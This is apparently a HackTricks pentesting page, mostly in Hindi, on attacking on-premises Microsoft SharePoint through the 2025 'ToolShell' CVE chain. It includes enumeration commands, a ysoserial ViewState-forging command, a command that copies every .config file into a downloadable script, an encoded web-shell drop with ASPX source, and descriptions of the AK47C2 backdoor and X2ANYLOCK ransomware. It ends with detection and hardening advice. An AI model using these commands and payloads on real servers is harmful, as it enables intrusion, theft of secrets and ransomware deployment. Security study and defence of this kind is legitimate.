Microsoft SharePoint – Pentesting & Exploitation

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Microsoft SharePoint (ऑन-प्रिमाइसेस) ASP.NET/IIS के ऊपर बनाया गया है। इसलिए, अधिकांश क्लासिक वेब अटैक सतह (ViewState, Web.Config, वेब शेल, आदि) मौजूद है, लेकिन SharePoint सैकड़ों स्वामित्व वाले ASPX पृष्ठों और वेब सेवाओं के साथ भी आता है जो उजागर अटैक सतह को नाटकीय रूप से बढ़ाते हैं। यह पृष्ठ SharePoint वातावरण के भीतर एन्यूमरेट, शोषण और स्थायी रहने के लिए व्यावहारिक तरकीबें एकत्र करता है, जिसमें Unit42 द्वारा प्रकट 2025 शोषण श्रृंखला (CVE-2025-49704/49706/53770/53771) पर जोर दिया गया है।

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> पृष्ठ में मनमाना Server-Side Include कोड इंजेक्ट करने की अनुमति देता है जिसे बाद में ASP.NET द्वारा संकलित किया जाता है। एक हमलावर C# को एम्बेड कर सकता है जो Process.Start() को निष्पादित करता है और एक दुर्भावनापूर्ण ViewState छोड़ता है।

2.2 CVE-2025-49706 – Improper Authentication Bypass

उसी पृष्ठ पर X-Forms_BaseUrl हेडर पर साइट संदर्भ निर्धारित करने के लिए भरोसा किया जाता है। इसे /_layouts/15/ पर इंगित करके, रूट साइट पर लागू MFA/SSO को अनधिकृत रूप से बायपास किया जा सकता है।

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE

एक बार जब हमलावर ToolPane.aspx में एक गैजेट को नियंत्रित कर लेता है, तो वे एक unsigned (या MAC-only) __VIEWSTATE मान पोस्ट कर सकते हैं जो w3wp.exe के अंदर .NET deserialization को ट्रिगर करता है, जिससे कोड निष्पादन होता है।

यदि साइनिंग सक्षम है, तो किसी भी web.config से ValidationKey/DecryptionKey चुराएं (देखें 2.4) और ysoserial.net या ysodom के साथ पेलोड को फोर्ज करें:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

For an in-depth explanation on abusing ASP.NET ViewState read:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – पथ ट्रैवर्सल / web.config प्रकटीकरण

ToolPane.aspx को एक तैयार Source पैरामीटर भेजना (जैसे ../../../../web.config) लक्षित फ़ाइल को लौटाता है, जिससे निम्नलिखित का लीक होना संभव होता है:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ ViewState / ASPXAUTH कुकीज़ को forge करें
  • कनेक्शन स्ट्रिंग्स और रहस्य।

3. पोस्ट-एक्सप्लॉइटेशन व्यंजन जो जंगली में देखे गए

3.1 हर .config फ़ाइल को एक्सफिल्ट्रेट करें (संस्करण-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

परिणामी debug_dev.js को गुमनाम रूप से डाउनलोड किया जा सकता है और इसमें सभी संवेदनशील कॉन्फ़िगरेशन शामिल है।

3.2 एक Base64-कोडित ASPX वेब शेल (संस्करण-2) तैनात करें

powershell.exe -EncodedCommand <base64>

डिकोडेड पेलोड उदाहरण (संक्षिप्त):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

लिखा गया:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

The shell endpoints को पढ़ने / घुमाने के लिए मशीन कुंजी प्रदान करता है, जो ViewState और ASPXAUTH कुकीज़ को फार्म में बनाने की अनुमति देता है।

3.3 ओबफस्केटेड वेरिएंट (वेरिएशन-3)

समान शेल लेकिन:

  • ...\15\TEMPLATE\LAYOUTS\ के तहत गिराया गया
  • वेरिएबल नाम एकल अक्षरों में घटाए गए
  • सैंडबॉक्स-एवेज़न और टाइमिंग-आधारित AV बायपास के लिए Thread.Sleep(<ms>) जोड़ा गया।

3.4 AK47C2 मल्टी-प्रोटोकॉल बैकडोर और X2ANYLOCK रैनसमवेयर (देखा गया 2025-2026)

हालिया घटना-प्रतिक्रिया जांच (Unit42 “Project AK47”) दिखाती हैं कि हमलावर ToolShell श्रृंखला का उपयोग कैसे करते हैं प्रारंभिक RCE के बाद SharePoint वातावरण में एक डुअल-चैनल C2 इम्प्लांट और रैनसमवेयर तैनात करने के लिए:

AK47C2 – dnsclient वेरिएंट

  • हार्ड-कोडेड DNS सर्वर: 10.7.66.10 प्राधिकृत डोमेन update.updatemicfosoft.com के साथ संचार करता है।
  • संदेश JSON ऑब्जेक्ट्स XOR-एन्क्रिप्टेड होते हैं स्थिर कुंजी VHBD@H, हेक्स-कोडेड और सब-डोमेन लेबल के रूप में एम्बेडेड होते हैं।
json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • लंबे प्रश्नों को चंक किया जाता है और s के साथ पूर्ववर्ती किया जाता है, फिर सर्वर-साइड पर फिर से जोड़ा जाता है।
  • सर्वर TXT रिकॉर्ड में समान XOR/हेक्स स्कीम के साथ उत्तर देता है:
json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • संस्करण 202504 ने एक सरल प्रारूप <COMMAND>::<SESSION_KEY> और चंक मार्कर 1, 2, a पेश किया।

AK47C2 – httpclient वेरिएंट

  • समान JSON और XOR रूटीन का पुनः उपयोग करता है लेकिन हेक्स ब्लॉब को HTTP POST बॉडी में libcurl (CURLOPT_POSTFIELDS, आदि) के माध्यम से भेजता है।
  • समान कार्य/परिणाम कार्यप्रवाह की अनुमति देता है:
  • मनमाने शेल कमांड निष्पादन।
  • गतिशील नींद अंतराल और किल-स्विच निर्देश।

X2ANYLOCK रैनसमवेयर

  • 64-बिट C++ पेलोड DLL साइड-लोडिंग के माध्यम से लोड किया गया (नीचे देखें)।
  • फ़ाइल डेटा के लिए AES-CBC का उपयोग करता है + RSA-2048 AES कुंजी को लपेटने के लिए, फिर एक्सटेंशन .x2anylock जोड़ता है।
  • स्थानीय ड्राइव और खोजे गए SMB शेयरों को पुनरावृत्त रूप से एन्क्रिप्ट करता है; सिस्टम पथों को छोड़ देता है।
  • स्पष्ट-टेक्स्ट नोट How to decrypt my data.txt छोड़ता है जिसमें बातचीत के लिए एक स्थिर Tox ID एम्बेडेड होता है।
  • एक आंतरिक किल-स्विच शामिल है:
c
if (file_mod_time >= "2026-06-06") exit(0);

DLL साइड-लोडिंग श्रृंखला

  1. हमलावर dllhijacked.dll/My7zdllhijacked.dll को एक वैध 7z.exe के बगल में लिखता है।
  2. SharePoint द्वारा उत्पन्न w3wp.exe 7z.exe को लॉन्च करता है, जो Windows खोज क्रम के कारण दुर्भावनापूर्ण DLL को लोड करता है, मेमोरी में रैनसमवेयर एंट्रीपॉइंट को सक्रिय करता है।
  3. एक अलग LockBit लोडर देखा गया (bbb.msiclink_x86.execlink_dll_x86.dll) शेल-कोड को डिक्रिप्ट करता है और LockBit 3.0 चलाने के लिए d3dl1.dll में DLL हॉलोइंग करता है।

info

X2ANYLOCK में पाया गया वही स्थिर Tox ID लीक हुए LockBit डेटाबेस में दिखाई देता है, जो सहयोगी ओवरलैप का सुझाव देता है।


4. पहचान विचार

टेलीमेट्रीयह क्यों संदिग्ध है
w3wp.exe → cmd.exeकार्यकर्ता प्रक्रिया को शायद ही कभी शेल उत्पन्न करना चाहिए
cmd.exe → powershell.exe -EncodedCommandक्लासिक lolbin पैटर्न
फ़ाइल घटनाएँ debug_dev.js या spinstall0.aspx बनानाToolShell से सीधे IOC
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/Module logs)सार्वजनिक PoCs इस पृष्ठ को सक्रिय करते हैं

उदाहरण XDR / Sysmon नियम (pseudo-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. हार्डनिंग और शमन

  1. पैच – जुलाई 2025 सुरक्षा अपडेट सभी चार CVEs को ठीक करते हैं।
  2. समझौते के बाद हर <machineKey> और ViewState रहस्यों को घुमाएँ
  3. WSS_WPG और WSS_ADMIN_WPG समूहों से LAYOUTS लिखने की अनुमति हटा दें।
  4. प्रॉक्सी/WAF स्तर पर /_layouts/15/ToolPane.aspx तक बाहरी पहुंच को ब्लॉक करें।
  5. ViewStateUserKey, MAC सक्षम, और कस्टम EventValidation सक्षम करें।

संबंधित तरकीबें

  • IIS पोस्ट-एक्सप्लॉइटेशन और web.config दुरुपयोग:

IIS - Internet Information Services

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें